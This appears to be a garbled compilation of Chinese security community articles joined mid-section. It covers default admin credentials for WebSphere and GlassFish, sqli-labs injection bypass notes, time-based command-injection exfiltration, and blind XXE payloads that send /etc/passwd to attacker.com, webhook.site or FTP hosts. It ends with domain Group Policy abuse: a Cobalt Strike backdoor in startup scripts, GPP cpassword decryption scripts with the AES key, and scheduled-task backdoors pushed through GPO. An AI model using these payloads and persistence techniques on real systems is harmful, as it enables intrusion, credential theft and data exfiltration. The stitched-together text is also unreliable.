应用程序和跨平台、跨产品解决方案所需要的整个中间件基础设施，如服务器、服务和工具。
### Websphere版本
Websphere现在主流的版本是6-7-8，老版本的5.x部分老项目还在用。GetShell大致差不多。6、7测试都有“默认用户标识admin登录”，Websphere安装非常麻烦，所以没有像之前测试Resin、Tomcat那么细测。
### Websphere默认配置
默认的管理后台地址（注意是HTTPS）： <https://localhost:9043/ibm/console/logon.jsp>
默认管理密码：
1、admin (测试websphere6-7默认可以直接用admin作为用户标识登录，无需密码)
2、websphere/ websphere
3、system/ manager
默认端口：
管理控制台端口 9060
管理控制台安全端口 9043
HTTP传输端口 9080
HTTPS传输端口 9443
引导程序端口 2809
SIP端口 5060
SIP安全端口 5061
SOAP连接器端口 8880
SAS SSL ServerAuth端口 9401
CSIV2 ServerAuth 侦听器端口 9403
CSIV2 MultiAuth 侦听器端口 9402
ORB侦听器端口 9100
高可用性管理通讯端口(DCS) 9353
服务集成端口 7276
服务集成安全端口 7286
服务集成器MQ互操作性端口 5558
服务集成器MQ互操作性安全端口 5578
8.5安装的时候创建密码： 
[enter link description
here](http://static.wooyun.org/20141017/2014101711455696316.png)
Websphere8.5启动信息：
Websphere8.5登录页面： <https://localhost:9043/ibm/console/logon.jsp>
[enter link description
here](http://static.wooyun.org/20141017/2014101711455610557.png)
Websphere8.5 WEB控制台：
Websphere6-7默认控制台地址也是： <http://localhost:9043/ibm/console，此处用admin登录即可。>
### Websphere GetShell
本地只安装了8.5测试，Websphere安装的确非常坑非常麻烦。不过Google
HACK到了其余两个版本Websphere6和Websphere7。测试发现Websphere
GetShell一样很简单，只是比较麻烦，一般情况直接默认配置Next就行了。Websphere7和Websphere8 GetShell基本一模一样。
#### Websphere6 GetShell
需要注意的是Websphere6默认支持的Web应用是2.3(web.xml配置的web-app_2_3.dtd)直接上2.5是不行的，请勿霸王硬上弓。其次是在完成部署后记得保存啊亲，不然无法生效。
#### Websphere8.5 GetShell
部署的时候记得写上下文名称哦，不让无法请求到Shell。
注意：
如果在Deploy低版本的Websphere的时候可能会提示web.xml错误，这里其实是因为支持的JavaEE版本限制，把war包里面的web.xml改成低版本就行了，如把app2.5改成2.3。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE web-app PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN" "http://java.sun.com/dtd/web-app_2_3.dtd">
<web-app>
<welcome-file-list>
<welcome-file>index.jsp</welcome-file>
</welcome-file-list>
</web-app>
## GlassFish
* * *
GlassFish是SUN的产品，但是作为一只优秀的土鳖SUN已经被Oracle收购了，GlassFish的性能优越对JavaEE的支持自然最好，最新的Servlet3.1仅GlassFish支持。
### GlassFish版本
GlassFish版本比较低调，最高版本GlassFish4可在官网下载： <http://glassfish.java.net/>
。最新4.x版刚发布不久。所以主流版本应当还是v2-3,3应该更多。支持php(v3基于Quercus),jRuby on Rails 和
Phobos等多种语言。
### GlassFish 默认配置
默认Web控制后台： <http://localhost:4848>
默认管理密码： GlassFish2默认帐号admin密码adminadmin 。
GlassFish3、4 如果管理员不设置帐号本地会自动登录，但是远程访问会提示配置错误。
Configuration Error
Secure Admin must be enabled to access the DAS remotely.
默认端口：
使用Admin的端口 4848。
使用HTTP Instance的端口 8080。
使用JMS的端口 7676。
使用IIOP的端口 3700。
使用HTTP_SSL的端口 8181。
使用IIOP_SSL的端口 3820。
使用IIOP_MUTUALAUTH的端口 3920。
使用JMX_ADMIN的端口 8686。
使用OSGI_SHELL的默认端口 6666。
使用JAVA_DEBUGGER的默认端口 9009。
默认数据源：
### GlassFish GetShell  | 社区文章 |
Less26
此题我试了很多来代替空格的符号，例如%0a,%0b,%0c,%0d,%09，都被过滤了，求大佬指点，，--+和#被过滤，需要用or
'1'='1来闭合，or需要双写绕过。我就用sqlmap来做，
Less27
union和select需要双写绕过，空格能够用%0a代替，--+和#还是被过滤，用or '1'='1闭合，然后就可以各种查询语句
Less28
这道题过滤union select这一个组合，也要过滤空格，所以采用union union select select方法绕过，空格照样用%0a替换
Less29
开始做挺正常，然而用到查询语句select group_concat(table_name) from information_schema.tables
where table_schema=’security’时报错
采用sqlmap执行命令python sqlmap.py -u "<http://127.0.0.1/sqli/Less-29/?id=1>" --dbms
mysql --batch -v 0 经测试成功
Less30
Less31
Less32
当输入'时被\转义，可能是因为有addslashes函数，会自动转义某些字符，考虑是宽字节注入，于是在'前加上%df，后面用--+成功闭合，然后便可以联合查询得到想要的数据
Less33
和32做法一模一样
Less34
也是一个宽字节注入，bp抓包手工测试，如图
Less35
开始以为还是一个宽字节注入，但是如果宽字节注入那么?id=1'就不会报错，后面处理按宽字节注入也法成功闭合，其实很简单，不需要任何构造，直接联合查询
Less36
同样一个宽字节注入
Less37
这算一个登录框形式的宽字节注入
Less38
这是一道堆叠注入，也就是可以执行多条sql语句，例如本题
执行该语句就增加了新用户和新密码
Less39
和38一样，只不过id是数字型，后面直接加内容就行
Less40
是一道盲注，错了但是不报出错误，猜测闭合方式
Less41
又是一道盲注，根据经验猜测闭合情况
Less42
bp抓包，账号处没有注入点，而密码有且没有任何加工处理，语句如图
Less43
和42一样，只是采用')闭合
Less44
这道题没有报错回显，是一道盲注，经过测试，语句和42一样
Less45
这道题还是一道盲注,bp抓包，尝试各种闭合，当试到为')时成功写入新用户
Less46
这道题发现用id传值传不进去，考虑是order by注入，?sort=1'时会报错，是一个数字型，所以直接在1后面加上and 和updatexml语句
Less47
和46一样是order by注入，判断出是一个单引号闭合，于是正确闭合就行
Less48
错误了但是没有报错，是一道基于时间盲注或者布尔盲注，可以采用根据ascii判断数据库、表、列、字段的每一个字母，利用语句?sort=rand(ascii(left(database(),1))=178)判断出是数字型的盲注，遇到这样的情况本想用sqlmap但是不知道怎么用，我想的是执行命令python
sqlmap.py -u "127.0.0.1/sqli/Less-48/?sort=1" --level 5 --risk 3 --dbs
--batch发现跑出来是错误的数据库名，求大佬指教啊qwq
Less49
也是一道盲注，可以采用基于时间的盲注，单引号闭合
Less50
数字型，采用updatexml能够报错出结果
Less51
单引号闭合,同样updatexml能行
感觉还是有好多知识盲区，写得也不太好，望师傅们斧正 | 社区文章 |
# 【技术分享】实现基于时间的远程代码执行（RCE）技术（含工具下载）
##### 译文声明
本文是翻译文章，文章来源：securitycafe.ro
原文地址：<https://securitycafe.ro/2017/02/28/time-based-data-exfiltration/>
译文仅供参考，具体内容表达以及含义原文为准。
****
翻译：[desword](http://bobao.360.cn/member/contribute?uid=2634189913)
预估稿费：170RMB
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**
**
**0x1 前言**
本文主要介绍了作者在进行渗透测试项目的过程中，如何利用基于时间反馈的方式，突破无法获得命令输出反馈的限制，实现远程代码执行技术。
我们最近进行了一个渗透测试的项目，该项目的主要目的是测试目标主机某个API的漏洞以及可能造成的损害。该主机在一个被防火墙隔离的私有网络中，我们最终是利用基于时间的命令注入攻击完成的测试。
以下是整个渗透测试的心路历程。
首先，我们发现了一个有趣的GET请求，它接收了两个参数：一个是string类型，另一个是ID号。通过对string类型参数进行fuzzing测试，并基于它处理单引号的方式，我们发现它看起来是个SQL注入，然而普通的SQL注入攻击测试并没有成功。但是当我们发送`sleep
10`命令，并且HTTP响应确实在10秒后返回时，我们发现这里应当是个突破口，可以做一些文章。接下来，我们将设法攻击主机，以实现远程代码执行（RCE）。
第一个任务应当是识别目标主机运行在什么平台上。开始时，根据HTTP响应的头部，我们认为该主机是基于Windows平台的，然而测试结果却很奇怪，因为有的载荷应当只能在Linux的bash里面工作，在这个主机上却也能够工作。
为了确定该主机到底基于什么平台，我们的思路是：使用一个包含了sleep命令的“if”语句来识别到底是哪个系统。当条件为真是，sleep命令将被执行。
为了能够执行得到上述sleep命令的结果，我们的第二个任务就是想办法与该主机进行交互。然而，实现交互也并不简单。我们尝试了许多工具用来建立TCP连接：ncat，wget，curl等。但没有一个可以成功。
然后，我们尝试了其他类似的技术：FTP连接，DNS查询，甚至ICMP数据包，但也没有成功。
再后来，我们才发现，这个主机处在一个私有网络中，保护该主机的防火墙允许我们执行命令，但是看不到输出。
我们项目的同事给出了一个建议，即使用sleep命令的返回结果去一个字符一个字符的猜命令执行的输出，当然，这个过程可以写个自动化脚本去完成。
这有点像执行基于时间的SQL注入一样。
那么，为了测试这种方式在有网络延迟的情况下是否有效，我们首先尝试了一个简单的脚本，它用来判断，在命令输出的结果中位置X的字符是否是Y。
通过上面这个脚本，我们可以得到whoami命令输出。
上面的方法看似可行，但是暴力枚举的猜测是一个十分低效的方式（事实上，作者后来也没解决这个问题=
=）。除了这个问题以外，该方法还有其他严重的问题，比如，GET参数仅限于48个字符，因为不满足这个限制将会超过载荷的最大长度。为了绕过这个限制，我们的思路是将命令的输出分割，分割的部分分别存在目标主机的不同临时文件中。之后，我们再依次读取分割后的命令输出内容，那么，最终的输出结果就是所有内容的合并。
利用上述方式构造的载荷，我们可以控制GET参数为48个字符。令人沮丧的是，新的问题又出现了，我们执行的命令长度也有限制：最多9个字符长度。
为了解决这个问题，结合前面分割命令输出的方式，我们也将命令本身的内容分割，然后分别放到不同的脚本中，之后，再依次串连执行分割在不同脚本中的命令，就能够达到我们的效果，缩短命令的长度。（真是一件绣花针似的活）
综合以上所有内容，我们基于python制作了一个工具，它可以完成上述所有事情。
**0x2 为什么使用这个工具而不是现有的工具？**
有一个类似的工具 [commix](https://github.com/commixproject/commix)，
[commix](https://github.com/commixproject/commix)
中有很多可用的渗透出技术，包括基于时间的渗透技术，它还可以识别目标主机操作系统类型，以及含有的命令注入漏洞。 虽然这是一个强大的工具，但是我们不选择使用
[commix](https://github.com/commixproject/commix)主要的原因有两个：
1、[commix](https://github.com/commixproject/commix)所使用的有效载荷 很长，在我们这里不适用。
2、其次，它很慢，会花费大量的时间来提取一个whoami命令输出。
**0x3 该工具如何工作？**
该工具有3个部分：
1\. 用来猜测文件（length.py或length.bat）输出命令长度的脚本。
2\. 用来猜测X位置字符的ASCII值（ascii.py或ascii.bat）的脚本。
3\. 用来发送命令并分析响应时间，以判断条件输出的脚本。
提取过程主要两步：
1\. 将命令输出写入文件
2\. 使用length.py脚本猜测命令输出长度：
为了要猜测命令输出的长度，将按照如下格式：
python ascii.py {NUMBER} {IS_GREATER} {WHERE_THE_OUTPUT_IS_AT} {TIME_DELAY}
1.输出是否大于0？ ： python l.py 0 0 0 4 =>无检测的延迟，这意味着它是真的
2\. 比10大吗 ?: python l.py 10 0 0 4 => 4秒延时检测，这意味着这是假 的
3\. 输出等于10？： python l.py 10 1 0 4 =>没有检测到的延迟，这意味着是假的
4\. 输出等于9？： python l.py 9 1 0 4 => 4秒延时检测，这意味着我们找到了输出长度
在我们知道输出长度之后，我们现在可以继续猜测ASCII字符代码。 这个任务是由ascii.py完成：
python ascii.py {CHAR_POS} {ASCII_VALUE} {IS_GREATER} {WHERE_THE_OUTPUT_IS_AT} {TIME_DELAY}.
猜测过程与猜测命令输出的长度相同。我们用猜测一个特定字符的ASCII值来代替猜测长度。
这里是本工具的一些输出结果：
提取uname -a：
我们进一步尝试提取/etc/password的长度约2863，它能够正常工作：
为了测试效果，您可以使用以下简单的PHP脚本：
该工具可从这里下载：
[https://github.com/dancezarp/TBDEx](https://translate.google.com/translate?hl=zh-CN&prev=_t&sl=en&tl=zh-CN&u=https://github.com/dancezarp/TBDEx) | 社区文章 |
# 盲XXE攻击 -带外交互技术(OAST) 泄露数据
> 译者注: 本文为翻译文章，这篇文章基本涵盖了盲XXE比较少见的问题的解决方案，值得细看。
hi,大家好!
本篇文章将介绍高级XXE攻击,需要使用带外交互技术来带出敏感数据。如果你想要学习更多关于基础XXE攻击向量，请继续阅读[本文](https://shreyapohekar.com/blogs/xxe-simplified-the-concept-attacks-and-mitigations/)。
## 盲XXE的基础知识
服务器可能接受Body中的XML数据，但是它不一定总是会在响应中返回值。但是，如果您仍然认为应用可能容易受到XXE攻击，OAST则可以作为验证的选择。
## 步骤
要触发带外交互，你必须定义一个外部实体，如下所示
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://attacker.com">] >
然后，您将在XML文档的数据值部分使用已经定义的实体。如果这个应用程序容易受到攻击，服务器则要发送一个http请求到您的URL。攻击可以监视DNS查找和http请求来说明攻击成功了。
您可以使用burp-collaborator来生成您的URL。
* 它使用自己专有的域名，并且该服务器已经注册为该域的权威DNS服务器
* 它提供DNS服务，使用自己自身的IP地址回答在其注册域(子域)的任何DNS查询
* 他提供HTTP/HTTPS服务，并使用有效的，CA签名的通配符TLS证书作为其域名。
* 提供SMTP/SMTPS服务
当收到来自易受攻击的服务器的交互时，burp协作者的屏幕如下所示:
但是，burp collaborator客户端仅在 **burp专业版中** 可用，并且可以通过burp-> burp collaborator
client进行访问。
您可能会发现常规实体被阻止的例子，这可能是由于某些输入检查或者强化了XML解析器级别所导致的。在这种情况下，您可以使用XML参数实体。
## XML参数实体
这些是特殊类型的XML实体，只能在DTD中引用。
### 声明
<!ENTITY % paramentity "my test value">
### 引用
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com"> %xxe; ]>
要检验的您的学习状态，可以遵循[portswigger](https://portswigger.net/web-security/xxe/blind/lab-xxe-with-out-of-band-interaction-using-parameter-entities)实验
在平台上测试时，只要简单将其表示为错误就足够了，但是如果敏感数据能够被提取，则你可以大大地提高这个漏洞的影响力。
## 让我们看看如何提取数据
创建恶意DTD
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'https://webhook.site/b16e2541-f40a-4641-9e12-286439217267/?x=%file;'>">
%eval;
%exfil;
这是存储在某处的恶意DTD文件。例如，portwigger的漏洞利用服务器
在对易受攻击的应用程序的请求中，必须提供到存储漏洞利用的服务器的URL。
这里，参数实体被用于泄露数据。这是在实体内定义实体的示例，参数化实体%file在%eval中被引用。因此，/etc/hostname的内容添加为请求的一部分，并发送给攻击者。当请求被接收时，我们就能查看到主机名。
主机名是一小段文字，因此很容易检索。但是，如果是较大的文件呢,如`/etc/passwd`。它还有各种各样的坏字符会破坏您的http请求。在这个情况下，最简单的解决方案是对有效负载进行base64编码。
让我们看看如何做到这一点。
在<http://attacker.com/xxe.dtd上创建一个外部DTD>
<!ENTITY % all "<!ENTITY % req SYSTEM 'https://webhook.site/b16e2541-f40a-4641-9e12-286439217267/%file;'>">
在易受攻击的应用程序中:
POST /vuln
Host: 1.1.1.1
User-Agent: ....
Content-Length: 123
<?xml version=1.0"?>
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % dtd SYSTEM "http://attacker.com/xxe.dtd">
<!-- load dtd file -->
%dtd;
<!-- Resolve the nested external entity -->
%all;
<!-- resolve the external entity req along with file reference -->
%req;
]>
<app>
<user>foo</user>
<pass>bar</pass>
这将会发送携带base64编码的`/etc/passwd`的内容的get请求。然后可以进一步解码以获得原始的文件内容。
但是等一下！！！,这里可能存在由于base64编码的字符串太长而无法作为http请求一部分的来发送的情况。 反馈会说URI太长。
## 解决方案！！
您可以通过使用FTP来泄露数据。这解决了http坏字符的限制。因此，文件无需编码即可传输
要在<http://attacker.com/xxe.dtd上创建的外部dtd>
<!ENTITY $ file SYSTEM "file:///etc/passwd">
<!ENTITY % req "<!ENTITY abc SYSTEM 'ftp://x.x.x.x:1212/%file; '>">
请求Body
<?xml version=1.0"?>
<!DOCTYPE foo [
<!ENTITY % dtd SYSTEM "http://attacker.com/xxe.dtd">
%dtd;
%req;
]>
<foo>
&abc;
</foo>
本文到这里已经涵盖了许多不同的技术。现在只剩下一种情况。
> 译者注: 上面的原文的payload可能存在一些问题，读者需要自行调试下。
## 如果要检索xml文件怎么办？
当正在进行红队任务时，你不会止步于仅仅发现漏洞。有时，您需要挖掘更多信息。XML文件(例如tomcat-users.xml)就是一个需要挖掘的点。但是使用XXE检索xml/dtd文件时会存在问题。xml文档内的标签将由解析器解析，并将完全改变其含义，这将导致该攻击不会生效。因此我们需要一种不解析XML文档的方法(应该将其视为纯文本文档)
这就是 **CDATA** 概念的缘由。
* **PCDATA** 是将由解析器解析的文本。文本内的标签将被视为标记，并且实体将被扩展。
* **CDATA** 是 _不会_ 被解析器解析的文本 。文本内的标签 **不会** 被视为标记，并且实体也不会扩展。
默认情况下，所有内容都是PCDATA，此关键字指定元素必须包含可解析的数据- **< , > , &, ‘ , “**
因此，如果您不想要解析您的XML，请将其包含在CDATA中，让我们看看如何做到这一点。
<?xml version="1.0"?>
<foo>
<bar><![CDATA[<abc>myContent</abc>]]></bar>
</foo>
这将会打印 **`<abc> myContent </ abc>`**结果。
让我们快速了解如何检索XML数据。
## 泄露XML文件
创建一个外部dtd为
<!ENTITY % file SYSTEM "file:///etc/fstab">
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % all "<!ENTITY content '%start;%file;%end;'>">
对应用的请求:
POST http://example.com/xml HTTP/1.1
<!DOCTYPE data [
<!ENTITY % dtd SYSTEM
"http://attacker.com/evil.dtd">
%dtd;
%all;
]>
<data>&content;</data>
## 解释
首先，调用 **%dtd** ,服务器向 **<http://attacker.com/evil.dtd>**
发出请求，下载玩dtd之后，解析器加载dtd，然后加载%file，被 **%start;** and **%end;** 包装在 **CDATA**
中的参数实体。最后， **%all** 存放在%start; 到
%end捕获到的内容。一个通用的实体内容正在被定义，该内容可以作为对攻击者响应的一部分。这个场景是结果是反映在响应中的，。所以在对盲XXE进行盲注时，请使用OAST的语法。
这就是这篇博客文章的所有内容，期待在下一篇文章与你相遇。
在那之前，祝福你快乐地挖掘漏洞。
## 参考链接
* <https://portswigger.net/burp/documentation/collaborator>
* <https://portswigger.net/web-security/xxe/blind>
* <https://dzone.com/articles/xml-external-entity-xxe-limitations>
> 本文为翻译文章,原文链接:<https://shreyapohekar.com/blogs/blind-xxe-attacks-out-of-band-> interaction-techniques-oast-to-exfilterate-data/> | 社区文章 |
# 浅析域渗透中的组策略利用
## 0x0 前言
最近在实战过程和比赛过程都遇到了这个点，发现攻击面其实挺宽广的，这里记录下自己的分析和学习过程。
## 0x1 多域环境
test.local 域
> DC: 10.211.55.38
>
> win2012
>
> Administrator 123QWEqwe!@#
>
> User:
>
> 10.211.55.42 (静态IP) hostname:xq17
>
> win2008
>
> 10.211.55.41 ( 静态IP) hostname:John
>
> win7
>
> OU:
>
> 运维部 John 123QWEqwe!@#
>
> 行政部 BOb 123QWEqwe!@#
test1.local
> DC: 192.168.0.10
>
> win 2008
>
> Administrator 123QWEqwe!@#
>
> User:
>
> 192.168.0.11 ( 静态IP) hostnme:win10
>
> window 10 专业版
想复现GPP漏洞的话，建议使用win2008 版本
为了研究多域环境下的信息关系和域移动，所以我搭建了个多域环境(可以忽略)
## 0x2 组策略的认识
> **组策略** （英语： **Group Policy** ）是微软[Windows
> NT](https://baike.baidu.com/item/Windows
> NT)家族[操作系统](https://baike.baidu.com/item/操作系统)的一个特性，它可以控制用户帐户和计算机帐户的工作环境。组策略提供了操作系统、应用程序和[活动目录](https://baike.baidu.com/item/活动目录)中用户设置的集中化管理和配置。组策略的其中一个版本名为
> **本地组策略**
> （缩写“LGPO”或“LocalGPO”），这可以在独立且非[域](https://baike.baidu.com/item/域)的计算机上管理组策略对象。
>
> 通过使用组策略，你可以设置策略设置一次，然后将该设置复制到多台计算机上。 例如，你可以在链接到域的 GPO 中设置多个 Internet
> Explorer11 安全设置，然后将所有这些设置应用到域中的每台计算机。
根据作用范围不同组策略可划分为多种，并且拥有自己的执行顺序和继承原则。
### 0x2.1 本地组策略(LGP)
> **本地组策略** （Local Group
> Policy，缩写LGP或LocalGPO）是组策略的基础版本，它面向独立且非域的计算机。至少Windows
> XP家庭版中它就已经存在，并且可以应用到域计算机。在Windows
> Vista以前，LGP可以强制施行组策略对象到单台本地计算机，但不能将策略应用到用户或组。从Windows
> Vista开始，LGP允许本地组策略管理单个用户和组，并允许使用“GPO
> Packs”在独立计算机之间备份、导入和导出组策略——组策略容器包含导入策略到目标计算机的所需文件。
这里演示下利用本地组策略来加载我们的后门程序
这里我直接用CS生成一个window的后门`svghost.exe`
开始->运行->键入"gpedit.msc"->本地组策略编辑器->window设置(system)->脚本->启动->属性
点击显示文件:
`C:\Windows\System32\GroupPolicy\Machine\Scripts\Startup`
把我们的后门程序复制到这个路径,然后这个脚本开机就会自动加载执行了。
当我们重新启动的时候，发现直接以system权限加载了我们的程序。
这里还有个powershell脚本,能进一步实现我们程序的伪装和免杀。
关于这个利用其实还有很多方式，比如执行命令启动guest用户,定期发送管理员密码等等操作，但是缺点也很明显，就是这个目录一般都会被杀毒工具、或者蓝队进行针对性的排查。
### 0x2.1 域组策略
> 当机器安装了域环境的时候,系统管理工具会多出一个功能(组策略管理),通过它，域管理员能够很方便统一地对域内的机器和用户进行统一管理。
域管理员经常会面对一个这样的问题,域成员机子的默认本地管理员密码过于简单，想进行批量修改的时候，这个时候就可以利用组策略来进行任务的批量下发。
* 1.通过在域中下发脚本来执行
* 2.在组策略首选项GPP中进行设置
* 3.本地管理员密码解决方案:LAPS(不细说这个内容，这是解决这个问题很好的方案)
首先我们需要了解下AD域中两个默认的共享文件夹:`SYSVOL` `NETLOGON`
`net share`
**NETLOGON目录**
挂载点:`SYSVOL\domain\SCRIPTS`
主要存放的是一些脚本信息，是AD活动目录安装时候自动创建的，是在`sysvol`下面的一个子目录文件夹。
**SYSVOL目录**
> SYSVOL目录是AD域中的一个`共享`文件夹，该文件夹在AD活动目录安装时候被创建。通常用来存放组策略数据 和 一些脚本
> 配置文件，这些策略和脚本将用于传递给域成员机器。
> 此外，域控机器之间因为要自动同步域数据，SYSVOL文档允许该域内的所有DC机之间进行复制，并且所有的AD用户都可以访问它
在域中，用户登录（计算机）时，会首先在SYSVOL文件查找GPO和启动脚本。同时，为了保证系统的正常运行，必须为SYSVOL保留足够的空间缓存，而且不能随意删除、改动该文件夹，要不然会出现一些组策略无法启用等报错信息。
该目录由于针对的是域内所有机器和用户，所以域内中的合法用户均可以访问和执行该目录的文件。(普通的域用户也可以)
如果我们去掉这个权限:
**GPO**
> 组策略对象，GPO（Group Policy Object），实际上就是组策略设置的集合。
>
> 你可以用GPO来存储不同的组策略信息，然后作用在指定OU或者指定作用范围发挥作用。
默认安装完AD之后，系统默认会存在两个组策略对象
**Default Domain Policy**
唯一ID(GUID):{31B2F340-016D-11D2-945F-00C04FB984F9} (都是相同的)
> 默认域策略
>
> Windows Server 2008 creates a **Default Domain Policy GPO** for every domain
> in the forest. This domain is the primary method used to set some security-> related policies such as password expiration and [account
> lockout](https://www.sciencedirect.com/topics/computer-science/account-> lockout).
存放的路径:
`C:\Windows\SYSVOL\sysvol\test1.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}`
**Default Domain Controllers Policy**
唯一ID(GUID):｛6AC1786C-016F-11D2-945F- 00C04FB984F9｝ (都是相同的)
> 默认域控制器策略
>
> 管理目标“Domain Controllers”容器，影响“Domain Controllers”容器中的域控制器，域控制器账户单独保存在该容器中。
不难看到这个GPO作用的范围是DC这个OU,相应的执行优先级如下图
**GPP**
> 组策略首选项(Group Policy Preference, GPP) 借助了组策略对象(Group Policy Oject, GPO)
> 实现了对域中所有资源的管理。
> 组策略首选项，是Windows2008中`新增加`的一套 **客户端插件** ，由20多个新的客户端拓展组成，可以
> **用来完成很多组策略无法进行的系统及用用配置** ，例如：驱动映射、管理本地组和用户等等。
我们可以看到GPP里面自定义了很多操作，比如本地用户和组的密码控制、计划任务等
**在GPP出现之前，很多统一管理的操作只能通过脚本来实现，而GPP方便和简化了这样的管理,GPP你可以将其理解为一个功能点,作用是简单化、规范化组策略的发布和使用。**
## 0x3 域组策略的利用
### 0x3.1 读取脚本中密码
这里我用一个例子来说明,域组策略是怎么加载脚本作用到域内机器的。
strComputer = "."
Set objUser = GetObject("WinNT://" & strComputer & "/Administrator, user")
objUser.SetPassword "123QWEQWE!@#"
objUser.SetInfo
这里我们保存这个脚本为`cpass.vbs`,这个脚本的左右那就是修改本地管理员账户的密码为
`123QWEQWE!@#`
这里我直接在域策略的GPO下面直接用脚本来下发这个脚本
这里为了演示效果,我们在John的机器上进行强制更新组策略。
`gpupdate /force`
我们可以在域用户JOHN中通过搜索脚本文件比如`*.vbs` `*.bat`来找到
搜索SYSVOL的下的脚本命令,如果有其他更好的思路和工具，希望师傅能指点下。
shell for /r \\dc/sysvol %i in (*.vbs) do @echo %i
shell for /r \\dc/sysvol %i in (*.bat) do @echo %i
关于这个利用，在实战中还是有的，这个思路我是看一篇实战文档知道的。
### 0x3.2 GPP漏洞的利用
GPP漏洞只在2008没打补丁版本上存在，超过2008版本的系统是没办法写入密码的。
这个漏洞的产生原因是 使用了GPP功能，如果输入了用户的密码的话，那么密码就会以AES
256加密的形式存储在SYSVOL文件夹下的以XML后缀结尾的xml文件中，这个密码的加密密钥由微软官方给出可以进行解密，但是如果打补丁或者高版本的话，GPP服务是不能输入密码的了，这个漏洞也就相应不存在了。
输入密码项是被禁用的。
下面我们来演示下怎么在CS下获取到GPP泄露的密码:
这里我们在dc2008新建一个OU组: `GPPVuln`
然后在该OU上,我们新建个使用了GPP的本地用户密码的策略。
获取到该GPO的ID:`{A7797762-FD8F-4B74-803E-BAE362BCC905}`
然后我们根据该ID去SYSVOL搜索即可得到该目录下的文件
`C:\Windows\SYSVOL\sysvol\test1.local\Policies\{A7797762-FD8F-4B74-803E-BAE362BCC905}\Machine\Preferences\Groups`
可以看到在该Groups目录下的xml文件立马就可以看到我们设置gpptest用户名对应的加密的密码`HtReckysr1Y4zM8/Mwe9TN4Fbi2L8JU3/PvW9NffrA0`
这个密码的解密方式有很多种,这里给出我最常用的两种:
1. RUBY的一个脚本`gppdecrypt.rb`
require 'rubygems'
require 'openssl'
require 'base64'
encrypted_data = ARGV
def decrypt(encrypted_data)
padding = "=" * (4 - (encrypted_data.length % 4))
epassword = "#{encrypted_data}#{padding}"
decoded = Base64.decode64(epassword)
key = "\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b"
aes = OpenSSL::Cipher::Cipher.new("AES-256-CBC")
aes.decrypt
aes.key = key
plaintext = aes.update(decoded)
plaintext << aes.final
pass = plaintext.unpack('v*').pack('C*') # UNICODE conversion
return pass
end
blah = decrypt(encrypted_data)
puts blah
2.Gppprefdecrypt.py
#!/usr/bin/python
#
# Gpprefdecrypt - Decrypt the password of local users added via Windows 2008 Group Policy Preferences.
#
# This tool decrypts the cpassword attribute value embedded in the Groups.xml file stored in the domain controller's Sysvol share.
#
import sys
from Crypto.Cipher import AES
from base64 import b64decode
# Init the key
# From MSDN: http://msdn.microsoft.com/en-us/library/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be%28v=PROT.13%29#endNote2
key = """
4e 99 06 e8 fc b6 6c c9 fa f4 93 10 62 0f fe e8
f4 96 e8 06 cc 05 79 90 20 9b 09 a4 33 b6 6c 1b
""".replace(" ","").replace("\n","").decode('hex')
# Add padding to the base64 string and decode it
cpassword = "HtReckysr1Y4zM8/Mwe9TN4Fbi2L8JU3/PvW9NffrA0"
cpassword += "=" * ((4 - len(cpassword) % 4) % 4)
password = b64decode(cpassword)
# Decrypt the password
o = AES.new(key, AES.MODE_CBC, "\x00" * 16).decrypt(password)
# Print it
print o[:-ord(o[-1])].decode('utf16')
Services\Services.xml
ScheduledTasks\ScheduledTasks.xml
Printers\Printers.xml
Drives\Drives.xml
DataSources\DataSources.xml
我们也要关注该目录下的其他XML文件。
这里不仅仅是修改本地用户密码这个GPP存在，比如计划任务等需要写入用户密码xml文件都可能存在这个问题，那么如何在域内进行快速的该类信息收集呢？
这里笔者以CS环境为例:
1.命令行下搜索
dir /s /a \\DC\SYSVOL\*.xml
2.Get-GPPPassword.ps1的使用
使用`powershell-import` 导入Get-GPPPassword.ps1
`powershell Get-GPPPassword` 加载该函数
这个powershell脚本会自动遍历SYSVOL下的敏感文件,并且将密码解密
3.针对性用户查找,这里我们可以使用powerview
这里我们以de1ctf中的wp中的思路自己走一遍那个流程。
我们在指定的`GPPVuln`这个OU中添加个账户
下面我们演示如何在域中根据该用户名称来进行针对性的GPP搜索
简单的信息收集:
1.查看域内共享
`powershell get-domaincomputer|get-netshare`
2.查看域用户信息
`powershell Get-DomainUser -identity gpptest`
可以看到该用户属于GPPVuln的OU组
3.查看OU组信息
`powershell Get-DomainOU`
发现有个GPO的link链接信息，然后我们根据这个GPUD去相应的文件夹进行搜索就可以了。
### 0x3.3 后门利用
这个后门的利用的前提是我们已经拿下了域控的权限。
通过GPO我们可以指定控制OU下的所有用户，比如批量下发木马或者进行其他操作。
**1.直接的方式**
比如简单和暴力的方式,就是直接将我们的木马当成脚本放在域策略或者自己新建个GPO然后在启动|关闭中放入我们的木马,然后将该GPO链接到你想搞的OU下,这样就可以实现定向打击,这种感觉比较明显吧,很容易就可以排查出来了。
**2.计划任务实现远程执行**
这种方式能够按照时间定时的收集信息，相对来说比较隐蔽。
这里演示下如何使用`New-GPOImmediateTask.ps1`
1.导入powershell中管理GPO的模块&创建一个作用整个域的GPO
`Import-Module GroupPolicy –verbose`
new-gpo -name TestGPO | new-gplink -Target "dc=test1,dc=local"
2.执行脚本添加计划任务
New-GPOImmediateTask -TaskName Debugging -GPODisplayName TestGPO -SysPath '\\dc\sysvol\test1.local' -CommandArguments '-c "123 | Out-File C:\test\debug.txt"'
3.强制更新组策略，或者默认等待90分钟等待组策略强制更新
`Invoke-GPUpdate -Computer "TEST\COMPUTER-01"`
4.清理痕迹
